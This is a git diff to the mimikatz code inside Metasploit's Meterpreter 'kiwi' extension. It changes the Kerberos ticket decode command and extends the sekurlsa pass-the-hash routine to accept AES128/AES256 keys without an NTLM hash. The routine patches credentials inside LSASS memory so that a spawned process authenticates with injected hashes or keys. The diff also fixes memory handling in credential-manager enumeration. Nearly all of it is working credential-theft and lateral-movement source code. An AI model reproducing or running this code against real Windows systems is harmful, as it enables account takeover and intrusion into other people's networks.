diff --git a/c/meterpreter/source/extensions/kiwi/mimikatz/modules/kerberos/khul_m_kerberos.c b/c/meterpreter/source/extensions/kiwi/mimikatz/modules/kerberos/khul_m_kerberos.c index a981bc58..b43d78a2 100644 --- a/c/meterpreter/source/extensions/kiwi/mimikatz/modules/kerberos/khul_m_kerberos.c +++ b/c/meterpreter/source/extensions/kiwi/mimikatz/modules/kerberos/khul_m_kerberos.c @@ -635,38 +635,41 @@ PDIRTY_ASN1_SEQUENCE_EASY kuhl_m_kerberos_golden_data(LPCWSTR username, LPCWSTR NTSTATUS kuhl_m_kerberos_decode(int argc, wchar_t * argv[]) { NTSTATUS status; - BYTE ntlm[LM_NTLM_HASH_LENGTH] = {0}; - DWORD i, j; - PCWCHAR szNtlm, szIn, szOut; + BYTE ntlm[LM_NTLM_HASH_LENGTH]; + PCWCHAR szNtlm, szIn, szOut, szOffset, szSize; PBYTE encData, decData; - DWORD encSize, decSize; + DWORD encSize, decSize, offset = 0, size = 0; if(kull_m_string_args_byName(argc, argv, L"key", &szNtlm, NULL)) { if(kull_m_string_args_byName(argc, argv, L"in", &szIn, NULL)) { - kull_m_string_args_byName(argc, argv, L"out", &szOut, L"out.dec"); + kull_m_string_args_byName(argc, argv, L"out", &szOut, L"out.kirbi"); + kull_m_string_args_byName(argc, argv, L"offset", &szOffset, NULL); + kull_m_string_args_byName(argc, argv, L"size", &szSize, NULL); if(kull_m_file_readData(szIn, &encData, &encSize)) { - if(wcslen(szNtlm) == (LM_NTLM_HASH_LENGTH * 2)) + if(szOffset && szSize) { - for(i = 0; i < LM_NTLM_HASH_LENGTH; i++) - { - swscanf_s(&szNtlm[i*2], L"%02x", &j); - ntlm[i] = (BYTE) j; - } + offset = wcstoul(szOffset, NULL, 0); + size = wcstoul(szSize, NULL, 0); + } - status = kuhl_m_kerberos_encrypt(KERB_ETYPE_RC4_HMAC_NT, KRB_KEY_USAGE_AS_REP_TGS_REP, ntlm, LM_NTLM_HASH_LENGTH, encData, encSize, (LPVOID *) &decData, &decSize, FALSE); + if(kull_m_string_stringToHex(szNtlm, ntlm, sizeof(ntlm))) + { + status = kuhl_m_kerberos_encrypt(KERB_ETYPE_RC4_HMAC_NT, KRB_KEY_USAGE_AS_REP_TGS_REP, ntlm, LM_NTLM_HASH_LENGTH, encData + offset, offset ? size : encSize, (LPVOID *) &decData, &decSize, FALSE); if(NT_SUCCESS(status)) { if(kull_m_file_writeData(szOut, (PBYTE) decData, decSize)) - kprintf(L"DEC data saved to file (%s)!\n", szOut); + kprintf(L"DEC data saved to file! (%s)\n", szOut); else PRINT_ERROR_AUTO(L"\nkull_m_file_writeData"); + LocalFree(decData); } else PRINT_ERROR(L"kuhl_m_kerberos_encrypt - DEC (0x%08x)\n", status); } else PRINT_ERROR(L"Krbtgt key size length must be 32 (16 bytes)\n"); + LocalFree(encData); } else PRINT_ERROR_AUTO(L"kull_m_file_readData"); } diff --git a/c/meterpreter/source/extensions/kiwi/mimikatz/modules/sekurlsa/globals_sekurlsa.h b/c/meterpreter/source/extensions/kiwi/mimikatz/modules/sekurlsa/globals_sekurlsa.h index 776752a6..447086c6 100644 --- a/c/meterpreter/source/extensions/kiwi/mimikatz/modules/sekurlsa/globals_sekurlsa.h +++ b/c/meterpreter/source/extensions/kiwi/mimikatz/modules/sekurlsa/globals_sekurlsa.h @@ -93,8 +93,6 @@ typedef struct _KUHL_M_SEKURLSA_PACKAGE { typedef struct _SEKURLSA_PTH_DATA { PLUID LogonId; - PCWCHAR UserName; - PCWCHAR LogonDomain; LPBYTE NtlmHash; LPBYTE Aes256Key; LPBYTE Aes128Key; diff --git a/c/meterpreter/source/extensions/kiwi/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c b/c/meterpreter/source/extensions/kiwi/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c index 68f08843..1f987a68 100644 --- a/c/meterpreter/source/extensions/kiwi/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c +++ b/c/meterpreter/source/extensions/kiwi/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c @@ -446,88 +446,91 @@ NTSTATUS kuhl_m_sekurlsa_pth(int argc, wchar_t * argv[]) { BYTE ntlm[LM_NTLM_HASH_LENGTH], aes128key[AES_128_KEY_LENGTH], aes256key[AES_256_KEY_LENGTH]; TOKEN_STATISTICS tokenStats; - SEKURLSA_PTH_DATA data = { &(tokenStats.AuthenticationId), NULL, NULL, ntlm, NULL, NULL, FALSE }; - PCWCHAR szRun, szNTLM, szAes128, szAes256; + SEKURLSA_PTH_DATA data = { &(tokenStats.AuthenticationId), NULL, NULL, NULL, FALSE }; + PCWCHAR szUser, szDomain, szRun, szNTLM, szAes128, szAes256; DWORD dwNeededSize; HANDLE hToken; PROCESS_INFORMATION processInfos; - if (kull_m_string_args_byName(argc, argv, L"user", &data.UserName, NULL)) + if (kull_m_string_args_byName(argc, argv, L"user", &szUser, NULL)) { - if (kull_m_string_args_byName(argc, argv, L"domain", &data.LogonDomain, NULL)) + if (kull_m_string_args_byName(argc, argv, L"domain", &szDomain, NULL)) { + kull_m_string_args_byName(argc, argv, L"run", &szRun, L"cmd.exe"); + kprintf(L"user\t: %s\ndomain\t: %s\nprogram\t: %s\n", szUser, szDomain, szRun); + + + if (kull_m_string_args_byName(argc, argv, L"aes128", &szAes128, NULL)) + { + if (MIMIKATZ_NT_BUILD_NUMBER > KULL_M_WIN_MIN_BUILD_BLUE) + { + if (kull_m_string_stringToHex(szAes128, aes128key, AES_128_KEY_LENGTH)) + { + data.Aes128Key = aes128key; + kprintf(L"AES128\t: "); kull_m_string_wprintf_hex(data.Aes128Key, AES_128_KEY_LENGTH, 0); kprintf(L"\n"); + } + else PRINT_ERROR(L"AES128 key length must be 32 (16 bytes)\n"); + } + else PRINT_ERROR(L"AES128 key only supported from Windows 8.1\n"); + } + + if (kull_m_string_args_byName(argc, argv, L"aes256", &szAes256, NULL)) + { + if (MIMIKATZ_NT_BUILD_NUMBER > KULL_M_WIN_MIN_BUILD_BLUE) + { + if (kull_m_string_stringToHex(szAes256, aes256key, AES_256_KEY_LENGTH)) + { + data.Aes256Key = aes256key; + kprintf(L"AES256\t: "); kull_m_string_wprintf_hex(data.Aes256Key, AES_256_KEY_LENGTH, 0); kprintf(L"\n"); + } + else PRINT_ERROR(L"AES256 key length must be 64 (32 bytes)\n"); + } + else PRINT_ERROR(L"AES256 key only supported from Windows 8.1\n"); + } + if (kull_m_string_args_byName(argc, argv, L"ntlm", &szNTLM, NULL)) { if (kull_m_string_stringToHex(szNTLM, ntlm, LM_NTLM_HASH_LENGTH)) { - kull_m_string_args_byName(argc, argv, L"run", &szRun, L"cmd.exe"); - kprintf(L"user\t: %s\ndomain\t: %s\nNTLM\t: ", data.UserName, data.LogonDomain); - kull_m_string_wprintf_hex(data.NtlmHash, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n"); - - if (kull_m_string_args_byName(argc, argv, L"aes128", &szAes128, NULL)) - { - if (MIMIKATZ_NT_BUILD_NUMBER > KULL_M_WIN_MIN_BUILD_BLUE) - { - if (kull_m_string_stringToHex(szAes128, aes128key, AES_128_KEY_LENGTH)) - { - data.Aes128Key = aes128key; - kprintf(L"AES128\t: "); - kull_m_string_wprintf_hex(data.Aes128Key, AES_128_KEY_LENGTH, 0); kprintf(L"\n"); - } - else PRINT_ERROR(L"AES128 hash length must be 32 (16 bytes)\n"); - } - else PRINT_ERROR(L"AES128 key only supported from Windows 8.1\n"); - } - - if (kull_m_string_args_byName(argc, argv, L"aes256", &szAes256, NULL)) - { - if (MIMIKATZ_NT_BUILD_NUMBER > KULL_M_WIN_MIN_BUILD_BLUE) - { - if (kull_m_string_stringToHex(szAes256, aes256key, AES_256_KEY_LENGTH)) - { - data.Aes256Key = aes256key; - kprintf(L"AES256\t: "); - kull_m_string_wprintf_hex(data.Aes256Key, AES_256_KEY_LENGTH, 0); kprintf(L"\n"); - } - else PRINT_ERROR(L"AES256 hash length must be 64 (32 bytes)\n"); - } - else PRINT_ERROR(L"AES256 key only supported from Windows 8.1\n"); - } - - kprintf(L"Program\t: %s\n", szRun); - if (kull_m_process_create(KULL_M_PROCESS_CREATE_LOGON, szRun, CREATE_SUSPENDED, NULL, LOGON_NETCREDENTIALS_ONLY, data.UserName, data.LogonDomain, L"", &processInfos, FALSE)) - { - kprintf(L" | PID %u\n | TID %u\n", processInfos.dwProcessId, processInfos.dwThreadId); - if (OpenProcessToken(processInfos.hProcess, TOKEN_READ, &hToken)) - { - if (GetTokenInformation(hToken, TokenStatistics, &tokenStats, sizeof(tokenStats), &dwNeededSize)) - { - kprintf(L" | LUID %u ; %u (%08x:%08x)\n", tokenStats.AuthenticationId.HighPart, tokenStats.AuthenticationId.LowPart, tokenStats.AuthenticationId.HighPart, tokenStats.AuthenticationId.LowPart); - kprintf(L" \\_ msv1_0 - "); - kuhl_m_sekurlsa_enum(kuhl_m_sekurlsa_enum_callback_msv_pth, &data); - kprintf(L"\n"); - kprintf(L" \\_ kerberos - "); - kuhl_m_sekurlsa_enum(kuhl_m_sekurlsa_enum_callback_kerberos_pth, &data); - kprintf(L"\n"); - } - else PRINT_ERROR_AUTO(L"GetTokenInformation"); - CloseHandle(hToken); - } - else PRINT_ERROR_AUTO(L"OpenProcessToken"); - - if (data.isReplaceOk) - NtResumeProcess(processInfos.hProcess); - else - NtTerminateProcess(processInfos.hProcess, STATUS_FATAL_APP_EXIT); - - CloseHandle(processInfos.hThread); - CloseHandle(processInfos.hProcess); - } - else PRINT_ERROR_AUTO(L"CreateProcessWithLogonW"); + data.NtlmHash = ntlm; + kprintf(L"NTLM\t: "); kull_m_string_wprintf_hex(data.NtlmHash, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n"); } else PRINT_ERROR(L"ntlm hash length must be 32 (16 bytes)\n"); } - else PRINT_ERROR(L"Missing argument : ntlm\n"); + else if (!(data.Aes128Key || data.Aes256Key)) PRINT_ERROR(L"Missing argument : ntlm\n"); + + if (data.NtlmHash || data.Aes128Key || data.Aes256Key) + { + if (kull_m_process_create(KULL_M_PROCESS_CREATE_LOGON, szRun, CREATE_SUSPENDED, NULL, LOGON_NETCREDENTIALS_ONLY, szUser, szDomain, L"", &processInfos, FALSE)) + { + kprintf(L" | PID %u\n | TID %u\n", processInfos.dwProcessId, processInfos.dwThreadId); + if (OpenProcessToken(processInfos.hProcess, TOKEN_READ, &hToken)) + { + if (GetTokenInformation(hToken, TokenStatistics, &tokenStats, sizeof(tokenStats), &dwNeededSize)) + { + kprintf(L" | LUID %u ; %u (%08x:%08x)\n", tokenStats.AuthenticationId.HighPart, tokenStats.AuthenticationId.LowPart, tokenStats.AuthenticationId.HighPart, tokenStats.AuthenticationId.LowPart); + kprintf(L" \\_ msv1_0 - "); + kuhl_m_sekurlsa_enum(kuhl_m_sekurlsa_enum_callback_msv_pth, &data); + kprintf(L"\n"); + kprintf(L" \\_ kerberos - "); + kuhl_m_sekurlsa_enum(kuhl_m_sekurlsa_enum_callback_kerberos_pth, &data); + kprintf(L"\n"); + } + else PRINT_ERROR_AUTO(L"GetTokenInformation"); + CloseHandle(hToken); + } + else PRINT_ERROR_AUTO(L"OpenProcessToken"); + + if (data.isReplaceOk) + NtResumeProcess(processInfos.hProcess); + else + NtTerminateProcess(processInfos.hProcess, STATUS_FATAL_APP_EXIT); + + CloseHandle(processInfos.hThread); + CloseHandle(processInfos.hProcess); + } + else PRINT_ERROR_AUTO(L"CreateProcessWithLogonW"); + } } else PRINT_ERROR(L"Missing argument : domain\n"); } diff --git a/c/meterpreter/source/extensions/kiwi/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_credman.c b/c/meterpreter/source/extensions/kiwi/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_credman.c index ae7ac152..a69f811f 100644 --- a/c/meterpreter/source/extensions/kiwi/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_credman.c +++ b/c/meterpreter/source/extensions/kiwi/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_credman.c @@ -68,9 +68,9 @@ void CALLBACK kuhl_m_sekurlsa_enum_logon_callback_credman(IN PKIWI_BASIC_SECURIT pRef = (PBYTE) setList.list1 + FIELD_OFFSET(KIWI_CREDMAN_LIST_STARTER, start); if(kull_m_memory_copy(&aLocalMemory, &aLsassMemory, sizeof(KIWI_CREDMAN_LIST_STARTER))) { - if(aLocalMemory.address = LocalAlloc(LPTR, credhelper[CredOffsetIndex].structSize)) + if(aLsassMemory.address = listStarter.start) { - if(aLsassMemory.address = listStarter.start) + if(aLocalMemory.address = LocalAlloc(LPTR, credhelper[CredOffsetIndex].structSize)) { while(aLsassMemory.address != pRef) { @@ -88,8 +88,8 @@ void CALLBACK kuhl_m_sekurlsa_enum_logon_callback_credman(IN PKIWI_BASIC_SECURIT else break; nbCred++; } + LocalFree(aLocalMemory.address); } - LocalFree(aLocalMemory.address); } } } diff --git a/c/meterpreter/source/extensions/kiwi/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_kerberos.c b/c/meterpreter/source/extensions/kiwi/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_kerberos.c index f832f871..461928de 100644 --- a/c/meterpreter/source/extensions/kiwi/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_kerberos.c +++ b/c/meterpreter/source/extensions/kiwi/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_kerberos.c @@ -227,7 +227,7 @@ void CALLBACK kuhl_m_sekurlsa_enum_kerberos_callback_pth(IN PKIWI_BASIC_SECURITY PSEKURLSA_PTH_DATA pthData = (PSEKURLSA_PTH_DATA)pOptionalData; DWORD i, nbHash; BYTE ntlmHash[LM_NTLM_HASH_LENGTH], aes128key[AES_128_KEY_LENGTH], aes256key[AES_256_KEY_LENGTH]; - BOOL isAes128 = FALSE, isAes256 = FALSE; + BOOL isNtlm = FALSE, isAes128 = FALSE, isAes256 = FALSE; UNICODE_STRING nullPasswd = { 0, 0, NULL }; KULL_M_MEMORY_ADDRESS aLocalKeyMemory = { NULL, Localkerbsession.hMemory }, aLocalHashMemory = { NULL, Localkerbsession.hMemory }, aLocalNTLMMemory = { NULL, Localkerbsession.hMemory }, aLocalPasswdMemory = { &nullPasswd, Localkerbsession.hMemory }, aRemotePasswdMemory = { (PBYTE)RemoteLocalKerbSession.address + kerbHelper[KerbOffsetIndex].offsetCreds + FIELD_OFFSET(KIWI_GENERIC_PRIMARY_CREDENTIAL, Password), RemoteLocalKerbSession.hMemory }; PKERB_HASHPASSWORD_GENERIC pHash; @@ -243,22 +243,24 @@ void CALLBACK kuhl_m_sekurlsa_enum_kerberos_callback_pth(IN PKIWI_BASIC_SECURITY { if (nbHash = ((DWORD *)(aLocalKeyMemory.address))[1]) { - RtlCopyMemory(ntlmHash, pthData->NtlmHash, LM_NTLM_HASH_LENGTH); - if (pData->cLsass->osContext.BuildNumber >= KULL_M_WIN_BUILD_VISTA) + if (isNtlm = (pthData->NtlmHash != NULL)) { - (*pData->lsassLocalHelper->pLsaProtectMemory)(ntlmHash, LM_NTLM_HASH_LENGTH); - if (pData->cLsass->osContext.BuildNumber >= KULL_M_WIN_BUILD_BLUE) + RtlCopyMemory(ntlmHash, pthData->NtlmHash, LM_NTLM_HASH_LENGTH); + if (pData->cLsass->osContext.BuildNumber >= KULL_M_WIN_BUILD_VISTA) + (*pData->lsassLocalHelper->pLsaProtectMemory)(ntlmHash, LM_NTLM_HASH_LENGTH); + } + + if (pData->cLsass->osContext.BuildNumber >= KULL_M_WIN_BUILD_BLUE) + { + if (isAes128 = (pthData->Aes128Key != NULL)) { - if (isAes128 = (pthData->Aes128Key != NULL)) - { - RtlCopyMemory(aes128key, pthData->Aes128Key, AES_128_KEY_LENGTH); - (*pData->lsassLocalHelper->pLsaProtectMemory)(aes128key, AES_128_KEY_LENGTH); - } - if (isAes256 = (pthData->Aes256Key != NULL)) - { - RtlCopyMemory(aes256key, pthData->Aes256Key, AES_256_KEY_LENGTH); - (*pData->lsassLocalHelper->pLsaProtectMemory)(aes256key, AES_256_KEY_LENGTH); - } + RtlCopyMemory(aes128key, pthData->Aes128Key, AES_128_KEY_LENGTH); + (*pData->lsassLocalHelper->pLsaProtectMemory)(aes128key, AES_128_KEY_LENGTH); + } + if (isAes256 = (pthData->Aes256Key != NULL)) + { + RtlCopyMemory(aes256key, pthData->Aes256Key, AES_256_KEY_LENGTH); + (*pData->lsassLocalHelper->pLsaProtectMemory)(aes256key, AES_256_KEY_LENGTH); } } @@ -277,7 +279,7 @@ void CALLBACK kuhl_m_sekurlsa_enum_kerberos_callback_pth(IN PKIWI_BASIC_SECURITY RemoteLocalKerbSession.address = pHash->Checksump; resultok = L"OK"; - if ((pHash->Size == LM_NTLM_HASH_LENGTH) && (pHash->Type != KERB_ETYPE_AES128_CTS_HMAC_SHA1_96) && (pHash->Type != KERB_ETYPE_AES256_CTS_HMAC_SHA1_96)) + if (isNtlm && ((pHash->Type != KERB_ETYPE_AES128_CTS_HMAC_SHA1_96) && (pHash->Type != KERB_ETYPE_AES256_CTS_HMAC_SHA1_96)) && (pHash->Size == LM_NTLM_HASH_LENGTH)) { aLocalNTLMMemory.address = ntlmHash; offset = LM_NTLM_HASH_LENGTH; diff --git a/c/meterpreter/source/extensions/kiwi/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_msv1_0.c b/c/meterpreter/source/extensions/kiwi/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_msv1_0.c index 219fa5b2..caf636fa 100644 --- a/c/meterpreter/source/extensions/kiwi/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_msv1_0.c +++ b/c/meterpreter/source/extensions/kiwi/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_msv1_0.c @@ -51,14 +51,20 @@ BOOL CALLBACK kuhl_m_sekurlsa_msv_enum_cred_callback_pth(IN PKIWI_MSV1_0_PRIMARY if (RtlEqualString(&pCredentials->Primary, &PRIMARY_STRING, FALSE)) { (*pthDataCred->pSecData->lsassLocalHelper->pLsaUnprotectMemory)(pPrimaryCreds, pCredentials->Credentials.Length); + if(pthDataCred->pthData->NtlmHash) + { + RtlCopyMemory(pPrimaryCreds->NtOwfPassword, pthDataCred->pthData->NtlmHash, LM_NTLM_HASH_LENGTH); + pPrimaryCreds->isNtOwfPassword = TRUE; + } + else + { + RtlZeroMemory(pPrimaryCreds->NtOwfPassword, LM_NTLM_HASH_LENGTH); + pPrimaryCreds->isNtOwfPassword = FALSE; + } RtlZeroMemory(pPrimaryCreds->LmOwfPassword, LM_NTLM_HASH_LENGTH); - pPrimaryCreds->isLmOwfPassword = FALSE; - RtlCopyMemory(pPrimaryCreds->NtOwfPassword, pthDataCred->pthData->NtlmHash, LM_NTLM_HASH_LENGTH); - pPrimaryCreds->isNtOwfPassword = TRUE; RtlZeroMemory(pPrimaryCreds->ShaOwPassword, SHA_DIGEST_LENGTH); + pPrimaryCreds->isLmOwfPassword = FALSE; pPrimaryCreds->isShaOwfPassword = FALSE; - RtlCopyMemory((PBYTE)pPrimaryCreds + (ULONG_PTR)pPrimaryCreds->UserName.Buffer, pthDataCred->pthData->UserName, pPrimaryCreds->UserName.Length); - RtlCopyMemory((PBYTE)pPrimaryCreds + (ULONG_PTR)pPrimaryCreds->LogonDomainName.Buffer, pthDataCred->pthData->LogonDomain, pPrimaryCreds->LogonDomainName.Length); (*pthDataCred->pSecData->lsassLocalHelper->pLsaProtectMemory)(pPrimaryCreds, pCredentials->Credentials.Length); kprintf(L"Data copy @ %p : ", origBufferAddress->address);